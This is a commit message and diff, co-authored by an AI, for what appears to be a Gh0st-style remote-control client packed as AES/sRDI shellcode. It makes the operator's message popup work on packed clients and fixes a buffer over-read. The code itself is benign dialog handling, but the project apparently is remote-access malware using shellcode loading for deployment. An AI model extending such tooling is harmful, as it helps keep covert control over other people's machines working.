Fix: Show the instant-message popup on packed clients

Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the instant-message manager was
handed the stub's module handle. The stub's resource section carries no
IDD_DIALOG, and Windows rejects resource APIs on manually mapped images,
so DialogBoxParamA failed (error 1812 on Windows 11) and the bottom-right
popup never appeared after the operator sent a message.

The popup now falls back to an embedded compiled dialog template
generated from the IDD_DIALOG block in Script.rc and verified
byte-for-byte against the resource in the built ghost.exe. When the
resource lookup fails, the dialog is created with
DialogBoxIndirectParamA instead. Deployments where the resource lookup
already works keep the original path unchanged.

The incoming text is now terminated at the copied length. The server
sends the message body without a trailing NUL, so a message that filled
the 1024-byte buffer left SetDlgItemText reading past the end.

The title is now set with SetWindowTextW before the window is shown.
DialogBoxParamA converts the template's UTF-16 caption through the
system ANSI code page, so the Chinese title turned into "???" on 1252
systems (verified locally with a caption containing a character outside
CP936). The title follows the UI language: Chinese systems keep the
Chinese title, everything else shows "Message". The message body still
uses the ANSI path, preserving the existing per-ACP semantics.

Co-Authored-By: deepseek-flash

client/ClientDll_vs2015.vcxproj

@@ -290,6 +290,7 @@
     <ClInclude Include="TalkManager.h" />
     <ClInclude Include="ChatManager.h" />
     <ClInclude Include="ChatDialogTemplate.h" />
+    <ClInclude Include="TalkDialogTemplate.h" />
     <ClInclude Include="ImageResource.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />

client/ClientDll_vs2015.vcxproj.filters

@@ -120,6 +120,7 @@
     <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="ChatManager.h" />
     <ClInclude Include="ChatDialogTemplate.h" />
+    <ClInclude Include="TalkDialogTemplate.h" />
     <ClInclude Include="ImageResource.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />

client/TalkDialogTemplate.h

@@ -0,0 +1,33 @@
+// TalkDialogTemplate.h: IDD_DIALOG 的编译后 DLGTEMPLATEEX（内嵌内存模板）
+//
+// 用途：加壳部署（EXE + SC_AES/sRDI）的客户端里，TalkManager 的 hInstance 是外壳进程
+// 映像，其资源里没有 IDD_DIALOG；而载荷以裸 shellcode 运行、未注册进加载器，
+// FindResource/LoadResource/DialogBoxParamA 一律取不到对话框资源。此时用下面的内存模板
+// 直接 DialogBoxIndirectParamA 建窗，与部署形态无关。
+//
+// 数据来源：client/Script.rc 的 IDD_DIALOG（DIALOGEX）。DLGTEMPLATEEX 的字符串字段
+// 一律是 UTF-16，同一份字节既可用于 A 接口也可用于 W 接口。
+//
+// 重新生成（改动 Script.rc 的 IDD_DIALOG 后必须同步）：
+//   1. rc /fo dlg.res dlg.rc          （dlg.rc 只保留与 Script.rc 相同的 IDD_DIALOG 块）
+//   2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
+//   3. 从 dlg.dll 的 RT_DIALOG(5) → 101 → 任意语言 取数据块，按 16 字节一行导出。
+// 当前块 104 字节：CAPTION "消息提示"、FONT 10 "System" charset 0、
+// 控件 ID 1000，与 Script.rc 完全一致；已与构建出的 ghost.exe 的
+// RT_DIALOG(5) → 101 逐字节比对一致。
+
+#ifndef YAMA_TALK_DIALOG_TEMPLATE_H
+#define YAMA_TALK_DIALOG_TEMPLATE_H
+
+// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐。
+__declspec(align(4)) static const unsigned char kTalkDialogTemplate[] = {
+    0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x00, 0xC8, 0x80,
+    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6D,
+    0x6F, 0x60, 0xD0, 0x63, 0x3A, 0x79, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00,
+    0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x05, 0x00, 0x05, 0x00, 0xAA, 0x00, 0x5F, 0x00,
+    0xE8, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x82, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00,
+    0x69, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+#endif // YAMA_TALK_DIALOG_TEMPLATE_H

client/TalkManager.cpp

@@ -4,6 +4,7 @@
 
 #include "stdafx.h"
 #include "TalkManager.h"
+#include "TalkDialogTemplate.h"
 #include "Common.h"
 #include "resource.h"
 #include <IOSTREAM>
@@ -49,10 +50,23 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     }
 
     default: {
-        memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
+        // 服务端只发正文、不带结尾 NUL：按实际长度补终止符（留一格），
+        // 否则正好填满缓冲区时 SetDlgItemText 会越界读
+        size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1);
+        memcpy(g_Buffer, szBuffer, nCopy);
+        g_Buffer[nCopy] = '\0';
         //创建一个DLG
-        DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
-                        NULL, DialogProc, (LPARAM)this);  //SDK   C   MFC  C++
+        INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG),
+                                       NULL, DialogProc, (LPARAM)this);  //SDK   C   MFC  C++
+        if (nRet == -1) {
+            // 与聊天窗口同样的原因：加壳部署（EXE + SC_AES/sRDI）时 m_hInstance 是
+            // 外壳进程映像，取不到 IDD_DIALOG 资源，DialogBoxParamA 直接失败（Win11
+            // 实测 err=1812/59），右下角消息窗口不会出现。回退到内嵌的编译后模板。
+            DWORD dwError = GetLastError();
+            Mprintf("DialogBoxParamA(%lu) 失败，改用内嵌对话框模板\n", dwError);
+            DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate,
+                                    NULL, DialogProc, (LPARAM)this);
+        }
         break;
     }
     }
@@ -97,6 +111,15 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
 {
     MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
 
+    // 标题栏：DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换，
+    // 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题
+    // （消息正文仍走 ANSI，保持原有编码语义）。中文系统显示中文，其余显示英文。
+    {
+        static const bool bChineseUI =
+            (PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
+        SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message");
+    }
+
     static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
     ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
 

client/ghost_vs2015.vcxproj

@@ -303,6 +303,7 @@
     <ClInclude Include="TlsChannel.h" />
     <ClInclude Include="ChatManager.h" />
     <ClInclude Include="ChatDialogTemplate.h" />
+    <ClInclude Include="TalkDialogTemplate.h" />
     <ClInclude Include="ImageResource.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />

client/ghost_vs2015.vcxproj.filters

@@ -148,6 +148,7 @@
     <ClInclude Include="TlsChannel.h" />
     <ClInclude Include="ChatManager.h" />
     <ClInclude Include="ChatDialogTemplate.h" />
+    <ClInclude Include="TalkDialogTemplate.h" />
     <ClInclude Include="ImageResource.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />